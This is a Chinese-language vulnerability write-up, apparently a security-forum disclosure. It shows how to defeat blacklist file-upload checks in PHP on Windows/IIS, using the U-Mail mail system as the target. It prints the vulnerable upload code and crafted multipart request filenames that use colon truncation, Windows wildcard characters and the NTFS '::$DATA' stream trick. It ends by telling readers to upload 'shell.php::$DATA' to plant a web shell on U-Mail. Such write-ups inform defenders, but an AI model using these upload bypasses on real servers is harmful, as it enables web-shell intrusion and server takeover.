$pkav-publish{当php懈垢windows} 剑心@xsser抛弃了我,但我却不能抛弃乌云.. php懈垢windows,就像男人邂逅女人,早晚都会出问题的.. 感谢二哥@gainover Tips:本文讲述一种新型的文件上传方式(几个特性导致的漏洞),并给出相应的实例.. 详细说明: #1 实例
$pkav->publish{当php懈垢windows} 剑心@xsser抛弃了我,但我却不能抛弃乌云.. php懈垢windows,就像男人邂逅女人,早晚都会出问题的.. 感谢二哥@gainover Tips:本文讲述一种新型的文件上传方式(几个特性导致的漏洞),并给出相应的实例..
详细说明:
#1
实例介绍 本案例采用的实例是:U-Mail邮件系统。 U-Mail邮件系统文件上传的地方代码是这样的:
code 区域
<code><?php <br />
if(ACTION =="attach-upload"){<br>
if($_FILES){<br>
$file_name = $_FILES['Filedata']['name'];<br>
$file_type = $_FILES['Filedata']['type'];<br>
$file_size = $_FILES['Filedata']['size'];<br>
$file_source = $_FILES['Filedata']['tmp_name'];<br>
$file_suffix = getfilenamesuffix( $file_name );<br>
$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );<br>
if (in_array($file_suffix, $not_allow_ext )){<br>
dump_json( array( "status" => 0, "message" => el( "不支持该扩展名文件上传", "" ) ) );<br>
}<br>
$path_target = getusercachepath( );<br>
do{<br>
$file_id = makerandomname( );<br>
$file_target = $path_target.$file_id.".".$file_suffix;<br>
} while ( file_exists( $file_target ) );<br>
if ( move_uploaded_file( $file_source, $file_target )){<br>
dump_json( array( "status" => 0, "message" => el( "写入文件出错,请与管理员联系!", "" ) ) );<br>
}<br>
$_SESSION[SESSION_ID]['attach_cache'][] = array( "id" => $file_id, "name" => $file_name, "type" => "1", "path" => $file_target, "size" => $file_size );<br>
dump_json( array( "status" => "1", "filename" => $file_name, "filesize" => $file_size, "file_id" => $file_id ) );<br>
}else{<br>
dump_json( array( "status" => "0", "message" => el( "无法找到需要上传的文件!", "" ) ) );<br>
}<br>
}</code>
我们注意到如下的代码
code 区域
<code>$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );<br>
if (in_array($file_suffix, $not_allow_ext )){<br>
dump_json( array( "status" => 0, "message" => el( "不支持该扩展名文件上传", "" ) ) );<br>
}</code>
非常明显,采用的是黑名单验证,虽然我们可以采用类似这样的文件后缀绕过程序的检测,如:bypass.phpX(这里的X代表空格%20或其他特殊字符{%80-%99}),但这完全不是今天我想要讲的内容。 今天,通过这个实例给大家讲解一种新型的文件上传方式,且听我细细道来.. #2
代码poc实现 为了在本地测试方便,我们对上述代码进行简化,如下
code 区域
<code><?php <br />
//U-Mail demo ...<br>
if(isset($_POST['submit'])){<br>
$filename = $_POST['filename'];<br>
$filename = preg_replace("/[^\w]/i", "", $filename);<br>
$upfile = $_FILES['file']['name'];<br>
$upfile = str_replace(';',"",$upfile);<br>
$upfile = preg_replace("/[^(\w|\:|\$|\.|\)]/i", "", $upfile);<br>
$tempfile = $_FILES['file']['tmp_name'];<br>
<br>
$ext = trim(get_extension($upfile)); // null<br>
<br>
if(in_array($ext,array('php','php3','php5'))){<br>
die('Warning ! File type error..');<br>
}<br>
<br>
if($ext == 'asp' or $ext == 'asa' or $ext == 'cer' or $ext == 'cdx' or $ext == 'aspx' or $ext == 'htaccess') $ext = 'file';<br>
<br>
//$savefile = 'upload/'.$upfile;<br>
$savefile = 'upload/'.$filename.".".$ext;<br>
<br>
if(move_uploaded_file($tempfile,$savefile)){<br>
die('Success upload..path :'.$savefile);<br>
}else{<br>
die('Upload failed..');<br>
}<br>
}<br>
function get_extension($file){<br>
return strtolower(substr($file, strrpos($file, '.')+1));<br>
}<br>
?><br>
<br>
<br>
<form method="post" action="upfile.php" enctype="multipart/form-data">
<br>
<input type="file" name="file" value=""><br>
<input type="hidden" name="filename" value="file"><br>
<input type="submit" name="submit" value="upload"><br>
</form>
<br>
<br>
</code>
对于上述代码,虽然是通过黑名单进行文件名检测,但通过目前已知的上传方法,是没有办法成功上传php文件的(不考虑程序的Bug),因此可以说这段文件上传的代码是"安全"的, 可是,我蓦然回首,在那个灯火阑珊的地方,php邂逅了Windows,美丽的爱情故事便由此产生了.. #3
细说故事 某天,二哥在群里丢了一个url连接,我简单看了下,关于利用系统特性进行文件上传的,兴趣马上就来了,就细细研究了下,于是有了这篇文章..
这几行英文的意思大致是,在php+window+iis环境下: 双引号(">")
点号(".")'; 大于符号(">")
问号("?")'; 小于符号("
星号("*")'; 有这么好玩的东西,那不就可以做太多的事了?但事实并不是这样,通过一系列的测试发现,该特性只能用于文件上传时覆盖已知的文件,于是这个特性便略显鸡肋.. 原因有二: 1)上传文件的目录一般我们都不可控; 2)同时,一般文件上传的目录不可能存在我们想要的任何php文件,因此没办法覆盖; 后来,经过反反复复的思考,终于找到了可以完美利用的办法.. 思路如下: 首先我们先利用特殊办法生成一个php文件,然后再利用这个特性将文件覆盖.. 可问题又来了,怎样生成php文件呢?如果可以直接生成php文件的话,干嘛还要利用那什么特性? 别急,办法总是有的.. 我们都知道在文件上传时,我们往往会考虑到文件名截断,如%00
等.. 对!有的人可能还会用冒号(":")去截断,如:bypass.php:jpg 但是你知道吗?冒号截断产生的文件是空白的,里面并不会有任何的内容,呵呵
说到这里 明白了没有? 虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以 我们可以结合上面所说的特性完美成功利用.. #4
冒号+特性成功利用 按照#3提供的思路,实现.. 本地测试地址:http://www.secmap.cn/upfile.php
环境:Windows+IIS7.5 1)首先利用冒号生成我们将要覆盖的php文件,这里为:bypass.php,如图
点击forward后,可以看见成功生成空白的bypass.php文件
2)利用上面的系统特性覆盖该文件 从上面已经知道" 我们可以这样修改上传的文件名,如下:
code 区域
<code>------WebKitFormBoundaryaaRARrn2LBvpvcwK<br>
Content-Disposition: form-data; name="file"; filename="bypass.
Content-Type: image/jpeg<br>
//注意!文件名为:bypass.</code>
点击go..,即可成功覆盖bypass.php文件,如图
对比上面的两个图,bypass.php被我们成功的写入了内容..
#5 特性二 首先来看看微软MSDN上面的一段话,如图
注意红色圈起来的英文
code 区域
<code>The default data stream has no name. That is, the fully qualified name for the default stream for a file called "sample.txt" is "sample.txt::$DATA" since "sample.txt" is the name of the file and "$DATA" is the stream type.</code>
看不去不错哟,试试吧.. 同样,我们可以这样修改上传的文件名,如下:
code 区域
<code>------WebKitFormBoundaryaaRARrn2LBvpvcwK<br>
Content-Disposition: form-data; name="file"; filename='DataStreamTest.php::$DATA'<br>
Content-Type: image/jpeg<br>
//注意!文件名为:DataStreamTest.php::$DATA</code>
点击GO,奇迹出现了..
访问之...
漏洞证明:
#6
漏洞证明 U-Mail,具体利用方法,同上述的方法一样,为了简单快捷的话,可直接抓包修改文件名为: shell.php::$DATA
即可成功上传,这里不再演示,附shell